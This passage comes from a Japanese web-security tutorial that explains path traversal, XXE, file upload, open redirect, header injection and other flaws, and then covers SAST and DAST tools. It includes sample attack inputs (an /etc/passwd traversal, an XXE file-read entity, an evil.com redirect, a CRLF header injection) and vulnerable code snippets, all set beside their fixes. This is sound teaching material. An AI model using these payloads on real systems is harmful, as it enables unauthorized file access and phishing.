&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;ログイン成功時にセッションIDを再生成&lt;/li&gt;
&lt;li&gt;権限変更時（管理者ログインなど）にセッションIDを再生成&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;ディレクトリトラバーサル（Path Traversal）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;ファイルパス操作において、../などの特殊な文字を利用して、意図しないディレクトリのファイルにアクセスする脆弱性です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;基本的な攻撃例&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;正常なリクエスト: http://example.com/file.php?path=documents/file.txt&lt;/li&gt;
&lt;li&gt;悪意のあるリクエスト: http://example.com/file.php?path=../../../etc/passwd&lt;/li&gt;
&lt;li&gt;結果: /etc/passwdファイルが読み取られる&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;機密ファイルの読み取り&lt;/strong&gt;: 設定ファイル、パスワードファイルなど&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アプリケーションソースコードの漏洩&lt;/strong&gt;: ビジネスロジックの暴露&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ファイルの書き込み&lt;/strong&gt;: 設定ファイルの改ざん&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;パスの正規化と検証&lt;/strong&gt;: 絶対パスに変換し、許可されたディレクトリ内か確認&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ホワイトリスト方式&lt;/strong&gt;: 許可されたファイル名のみ許可&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ベースディレクトリの設定&lt;/strong&gt;: アクセス可能なディレクトリを制限&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ファイル名のサニタイゼーション&lt;/strong&gt;: 危険な文字（../、\など）を除去&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;XML外部実体参照（XXE: XML External Entity）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;XMLパーサーが外部実体を参照する際に、ファイルシステムやネットワークリソースにアクセスできてしまう脆弱性です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;pre&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;
&amp;lt;!DOCTYPE foo [
  &amp;lt;!ENTITY xxe SYSTEM "file:///etc/passwd"&amp;gt;
]&amp;gt;
&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;/pre&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ファイルシステムへのアクセス&lt;/strong&gt;: サーバー上の任意のファイルを読み取り&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サーバーサイドリクエストフォージェリ（SSRF）&lt;/strong&gt;: 内部ネットワークへのアクセス&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;サービス拒否攻撃（DoS）&lt;/strong&gt;: 巨大なエンティティを参照してメモリを消費&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;外部実体参照の無効化&lt;/strong&gt;: XMLパーサーの設定で外部実体を無効化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DTDの無効化&lt;/strong&gt;: ドキュメント型定義（DTD）の処理を無効化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XMLの代わりにJSONを使用&lt;/strong&gt;: 可能な場合はJSONを使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;XMLパーサーの設定見直し&lt;/strong&gt;: 最新の安全な設定を適用&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;ファイルアップロードの脆弱性&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;ファイルアップロード機能において、悪意のあるファイルをアップロードされ、実行される脆弱性です。&lt;/p&gt;
&lt;h4&gt;攻撃の種類&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Web Shellのアップロード&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;PHP、JSP、ASPなどの実行可能なスクリプトをアップロード&lt;/li&gt;
&lt;li&gt;サーバー上で任意のコマンドを実行可能&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ファイル拡張子の偽装&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;malicious.php.jpgのように、拡張子を偽装&lt;/li&gt;
&lt;li&gt;サーバーが拡張子のみで判定する場合に有効&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;MIMEタイプの偽装&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Content-Typeヘッダーを偽装して、画像ファイルとしてアップロード&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;マジックナンバーの偽装&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ファイルの先頭バイトを変更して、画像ファイルに見せかける&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ファイル拡張子の検証&lt;/strong&gt;: 許可された拡張子のみ許可（ホワイトリスト方式）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MIMEタイプの検証&lt;/strong&gt;: Content-Typeだけでなく、実際のファイル内容を検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マジックナンバーの検証&lt;/strong&gt;: ファイルの先頭バイトを確認&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ファイル名のサニタイゼーション&lt;/strong&gt;: 危険な文字を除去、ファイル名をランダム化&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アップロード先の設定&lt;/strong&gt;: Webサーバーのルート外に保存、実行権限を付与しない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ウイルススキャン&lt;/strong&gt;: アップロードされたファイルをスキャン&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ファイルサイズの制限&lt;/strong&gt;: 過大なファイルのアップロードを防ぐ&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;オープンリダイレクト（Open Redirect）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;リダイレクト先のURLを外部から指定できる場合、フィッシングサイトに誘導される脆弱性です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;正常なリダイレクト: http://example.com/login?redirect=/dashboard&lt;/li&gt;
&lt;li&gt;悪意のあるリダイレクト: http://example.com/login?redirect=http://evil.com/phishing&lt;/li&gt;
&lt;li&gt;ユーザーが信頼するサイト（example.com）から悪意のあるサイト（evil.com）に誘導される&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ホワイトリスト方式&lt;/strong&gt;: 許可されたURLのみリダイレクト先として許可&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;相対URLのみ許可&lt;/strong&gt;: 絶対URL（http://で始まる）を拒否&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ドメインの検証&lt;/strong&gt;: 同一ドメイン内のURLのみ許可&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;HTTPヘッダーインジェクション&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;ユーザー入力がHTTPヘッダーに含まれる際、改行文字を注入して任意のヘッダーを追加する脆弱性です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;pre&gt;入力値: "user\r\nLocation: http://evil.com"
生成されるHTTPレスポンス:
HTTP/1.1 200 OK
Set-Cookie: user
Location: http://evil.com&lt;/pre&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;レスポンス分割攻撃&lt;/strong&gt;: 任意のHTTPレスポンスを生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;クッキー注入&lt;/strong&gt;: 任意のクッキーを設定&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;キャッシュポイズニング&lt;/strong&gt;: キャッシュに悪意のあるコンテンツを保存&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;改行文字の除去&lt;/strong&gt;: \r、\nを除去またはエスケープ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ヘッダー値の検証&lt;/strong&gt;: 許可された文字のみ許可&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;フレームワークの機能を使用&lt;/strong&gt;: 自動的にサニタイゼーションされる機能を使用&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;不適切なエラーハンドリング&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;エラーメッセージからアプリケーションの内部情報が漏洩する脆弱性です。&lt;/p&gt;
&lt;h4&gt;漏洩する可能性のある情報&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;データベースの構造（テーブル名、カラム名）&lt;/li&gt;
&lt;li&gt;ファイルパス&lt;/li&gt;
&lt;li&gt;スタックトレース&lt;/li&gt;
&lt;li&gt;ソースコードの一部&lt;/li&gt;
&lt;li&gt;システムのバージョン情報&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;汎用的なエラーメッセージを表示&lt;/strong&gt;: 詳細な情報はユーザーに表示しない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ログに記録&lt;/strong&gt;: 詳細なエラー情報はログに記録&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エラーページのカスタマイズ&lt;/strong&gt;: デフォルトのエラーページを使用しない&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;安全でないオブジェクト参照（Insecure Direct Object Reference）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;オブジェクト（ファイル、データベースレコードなど）への直接参照が適切に検証されていない脆弱性です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;正常なアクセス: http://example.com/file?id=123（ユーザーAのファイル）&lt;/li&gt;
&lt;li&gt;不正なアクセス: http://example.com/file?id=456（ユーザーBのファイル）&lt;/li&gt;
&lt;li&gt;アクセス制御が不十分な場合、他人のファイルにアクセス可能&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;アクセス制御の実装&lt;/strong&gt;: オブジェクトへのアクセス権限を検証&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;間接参照の使用&lt;/strong&gt;: 内部IDを直接公開せず、マッピングテーブルを使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認可の確認&lt;/strong&gt;: ユーザーがアクセス権限を持っているか確認&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;安全でないデシリアライゼーション（Insecure Deserialization）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;信頼できないデータをデシリアライズする際に、任意のコードが実行される脆弱性です。&lt;/p&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;リモートコード実行&lt;/strong&gt;: 任意のコードを実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;権限昇格&lt;/strong&gt;: 管理者権限の取得&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DoS攻撃&lt;/strong&gt;: メモリを大量消費&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;デシリアライゼーションの回避&lt;/strong&gt;: JSONなど、より安全な形式を使用&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;シリアライズされたデータの署名&lt;/strong&gt;: 改ざんを検出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小限のデータのみシリアライズ&lt;/strong&gt;: 機密情報を含めない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デシリアライゼーション前の検証&lt;/strong&gt;: データの整合性を確認&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;セキュアコーディングのベストプラクティス&lt;/h3&gt;
&lt;h4&gt;入力値の検証&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ホワイトリスト方式の採用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;許可された値のみを受け付ける&lt;/li&gt;
&lt;li&gt;ブラックリスト方式は避ける（見落としが発生しやすい）&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;サーバー側での検証&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;クライアント側の検証だけでは不十分&lt;/li&gt;
&lt;li&gt;必ずサーバー側でも検証を実施&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;データ型の検証&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;数値型の場合は数値のみ受け付ける&lt;/li&gt;
&lt;li&gt;文字列の長さ制限&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;正規表現の活用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;メールアドレス、電話番号などの形式検証&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;認証・認可の実装&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;パスワードのハッシュ化&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;平文で保存しない&lt;/li&gt;
&lt;li&gt;強力なハッシュアルゴリズムを使用（bcrypt、Argon2など）&lt;/li&gt;
&lt;li&gt;ソルト（salt）の使用&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;セッション管理&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;セッションIDを十分に長く、ランダムに生成&lt;/li&gt;
&lt;li&gt;セッションタイムアウトの設定&lt;/li&gt;
&lt;li&gt;ログアウト機能の実装&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;多要素認証（MFA）の導入&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;パスワードに加えて、追加の認証要素を要求&lt;/li&gt;
&lt;li&gt;TOTP（Time-based One-Time Password）、SMS認証など&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;認可の実装&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ロールベースアクセス制御（RBAC）&lt;/li&gt;
&lt;li&gt;リソースごとのアクセス権限の確認&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;エラーメッセージの制御&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;詳細情報の非表示&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;スタックトレースをユーザーに表示しない&lt;/li&gt;
&lt;li&gt;データベースエラーの詳細を非表示&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ログへの記録&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;詳細なエラー情報はログに記録&lt;/li&gt;
&lt;li&gt;ログの適切な管理（アクセス制御、ローテーション）&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;脆弱なライブラリの回避&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;依存関係の管理&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;使用しているライブラリのバージョンを管理&lt;/li&gt;
&lt;li&gt;定期的な更新&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;脆弱性情報の確認&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;CVE（Common Vulnerabilities and Exposures）データベースを確認&lt;/li&gt;
&lt;li&gt;自動化ツールの活用（OWASP Dependency-Check、Snykなど）&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;最小限の依存関係&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;必要最小限のライブラリのみ使用&lt;/li&gt;
&lt;li&gt;不要なライブラリの削除&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;暗号化の実装&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;HTTPSの使用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;すべての通信をHTTPSで暗号化&lt;/li&gt;
&lt;li&gt;HSTS（HTTP Strict Transport Security）の設定&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;機密データの暗号化&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;データベースに保存する機密データの暗号化&lt;/li&gt;
&lt;li&gt;適切な暗号化アルゴリズムの選択（AES-256など）&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;鍵管理&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;暗号化鍵の適切な管理&lt;/li&gt;
&lt;li&gt;鍵のローテーション&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;ログとモニタリング&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;適切なログ記録&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;認証試行、権限変更、重要な操作をログに記録&lt;/li&gt;
&lt;li&gt;ログの改ざん防止&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;異常検知&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;異常なアクセスパターンの検知&lt;/li&gt;
&lt;li&gt;侵入検知システム（IDS）の導入&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;脆弱性診断&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★★（最高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★★（上級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 高&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;Webアプリケーションに存在するセキュリティ上の欠陥を発見するための検査です。開発ライフサイクルの各段階で実施し、脆弱性を早期に発見・修正することで、セキュリティリスクを最小化します。&lt;/p&gt;
&lt;h4&gt;初心者向け説明&lt;/h4&gt;
&lt;p&gt;脆弱性診断は、アプリケーションの「健康診断」のようなものです。病気（脆弱性）を早期に発見して治療（修正）することで、重大な問題（セキュリティインシデント）を防ぎます。&lt;/p&gt;
&lt;h4&gt;脆弱性診断の重要性&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;早期発見・早期修正&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;開発段階で脆弱性を発見することで、修正コストを削減&lt;/li&gt;
&lt;li&gt;本番環境でのインシデントを防止&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;コンプライアンス対応&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;セキュリティ基準（PCI DSS、ISO 27001など）への準拠&lt;/li&gt;
&lt;li&gt;法的要件の遵守&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;信頼性の向上&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ユーザーや顧客からの信頼獲得&lt;/li&gt;
&lt;li&gt;ブランド価値の保護&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;継続的改善&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;セキュリティ品質の継続的な向上&lt;/li&gt;
&lt;li&gt;開発チームのセキュリティ意識向上&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;脆弱性診断の種類&lt;/h2&gt;
&lt;h3&gt;1. 静的アプリケーションセキュリティテスト（SAST）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;ソースコードを静的解析して、実行前に脆弱性を検出する手法です。&lt;/p&gt;
&lt;h4&gt;特徴&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;メリット&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;開発の早い段階で実施可能&lt;/li&gt;
&lt;li&gt;実行環境が不要&lt;/li&gt;
&lt;li&gt;コードの全体的な品質を確認可能&lt;/li&gt;
&lt;li&gt;自動化が容易&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デメリット&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;誤検知（False Positive）が多い場合がある&lt;/li&gt;
&lt;li&gt;実行時の動作を確認できない&lt;/li&gt;
&lt;li&gt;設定ミスや環境依存の脆弱性を検出できない&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;仕組み&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ソースコードの解析&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;コードの構文解析&lt;/li&gt;
&lt;li&gt;データフロー解析&lt;/li&gt;
&lt;li&gt;制御フロー解析&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;脆弱性パターンの検出&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;既知の脆弱性パターンとの照合&lt;/li&gt;
&lt;li&gt;セキュリティルールとの照合&lt;/li&gt;
&lt;li&gt;ヒューリスティック分析&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;レポート生成&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;脆弱性の場所と種類を特定&lt;/li&gt;
&lt;li&gt;重大度の評価&lt;/li&gt;
&lt;li&gt;修正方法の提案&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;主要ツール&lt;/h4&gt;
&lt;h5&gt;SonarQube&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特徴&lt;/strong&gt;: オープンソース、コード品質とセキュリティを統合&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対応言語&lt;/strong&gt;: Java、C#、JavaScript、Python、PHP、Goなど&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;使い方&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;# SonarQubeの起動（Docker使用例）
docker run -d --name sonarqube -p 9000:9000 sonarqube

# プロジェクトの分析
sonar-scanner \
  -Dsonar.projectKey=my-project \
  -Dsonar.sources=. \
  -Dsonar.host.url=http://localhost:9000&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;設定例&lt;/strong&gt;: .sonar-project.properties&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;sonar.projectKey=my-web-app
sonar.projectName=My Web Application
sonar.sources=src
sonar.language=java
sonar.sourceEncoding=UTF-8&lt;/pre&gt;
&lt;h5&gt;Checkmarx&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特徴&lt;/strong&gt;: 商用ツール、高い検出精度&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対応言語&lt;/strong&gt;: 20以上の言語&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴&lt;/strong&gt;: エンタープライズ向け、包括的なレポート&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Veracode&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;特徴&lt;/strong&gt;: クラウドベースのSASTサービス&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴&lt;/strong&gt;: 継続的なスキャン、CI/CD統合&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;SASTの実践例&lt;/h4&gt;
&lt;h5&gt;Javaアプリケーションの例&lt;/h5&gt;
&lt;pre&gt;// 脆弱なコード（SQLインジェクション）
String query = "SELECT * FROM users WHERE username = '" + username + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);

// SASTツールが検出する内容
// 警告: SQLインジェクションの可能性
// 推奨: PreparedStatementを使用&lt;/pre&gt;
&lt;h5&gt;JavaScriptアプリケーションの例&lt;/h5&gt;
&lt;pre&gt;// 脆弱なコード（DOM-based XSS）
document.getElementById('output').innerHTML = userInput;

// SASTツールが検出する内容
// 警告: XSSの可能性
// 推奨: textContentを使用、またはエスケープ処理を実施&lt;/pre&gt;

&lt;h3&gt;2. 動的アプリケーションセキュリティテスト（DAST）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;実行中のアプリケーションに対して、実際のHTTPリクエストを送信して脆弱性を検出する手法です。&lt;/p&gt;
&lt;h4&gt;特徴&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;メリット&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;実際の動作環境をテスト&lt;/li&gt;
&lt;li&gt;設定ミスや環境依存の脆弱性を検出&lt;/li&gt;
&lt;li&gt;誤検知が少ない&lt;/li&gt;
&lt;li&gt;実行時の動作を確認可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;デメリット&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;実行環境が必要&lt;/li&gt;
&lt;li&gt;コードの詳細な分析はできない&lt;/li&gt;
&lt;li&gt;自動化が複雑な場合がある&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;仕組み&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;アプリケーションの探索&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;クローリングによるURL発見&lt;/li&gt;
&lt;li&gt;フォームの自動入力&lt;/li&gt;
&lt;li&gt;リンクの追跡&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;攻撃パターンの注入&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;既知の攻撃パターンを注入&lt;/li&gt;
&lt;li&gt;様々な入力値を試行&lt;/li&gt;
&lt;li&gt;レスポンスの分析&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;脆弱性の検証&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;レスポンスの内容確認&lt;/li&gt;
&lt;li&gt;エラーメッセージの分析&lt;/li&gt;
&lt;li&gt;動作の変化を検出&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;主要ツール&lt;/h4&gt;
&lt;h5&gt;OWASP ZAP（Zed Attack Proxy）&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;特徴&lt;/strong&gt;: オープンソース、無料、初心者にも使いやすい&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;インストール方法&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;# Dockerを使用する場合
docker run -t owasp/zap2docker-stable zap-baseline.py -t http://target-app

# または公式サイトからダウンロード
# https://www.zaproxy.org/download/&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;基本的な使い方&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;自動スキャン（Quick Start）&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;1. ZAPを起動
2. "Quick Start"タブを選択
3. ターゲットURLを入力
4. "Attack"ボタンをクリック
5. スキャン結果を確認&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;手動スキャン（Manual Explore）&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;1. "Manual Explore"タブを選択
2. ターゲットURLを入力
3. ブラウザを起動してアプリケーションを操作
4. ZAPが通信を記録
5. 記録されたリクエストに対してスキャンを実行&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;APIスキャン&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;# OpenAPI定義を使用したスキャン
zap-api-scan.py -t http://target-api -f openapi -O openapi.json&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;スキャンポリシーの設定&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;低リスク&lt;/strong&gt;: 基本的な脆弱性のみ検出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中リスク&lt;/strong&gt;: 一般的な脆弱性を検出（推奨）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;高リスク&lt;/strong&gt;: 詳細なスキャン（時間がかかる）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;レポートの出力&lt;/strong&gt;:&lt;/p&gt;
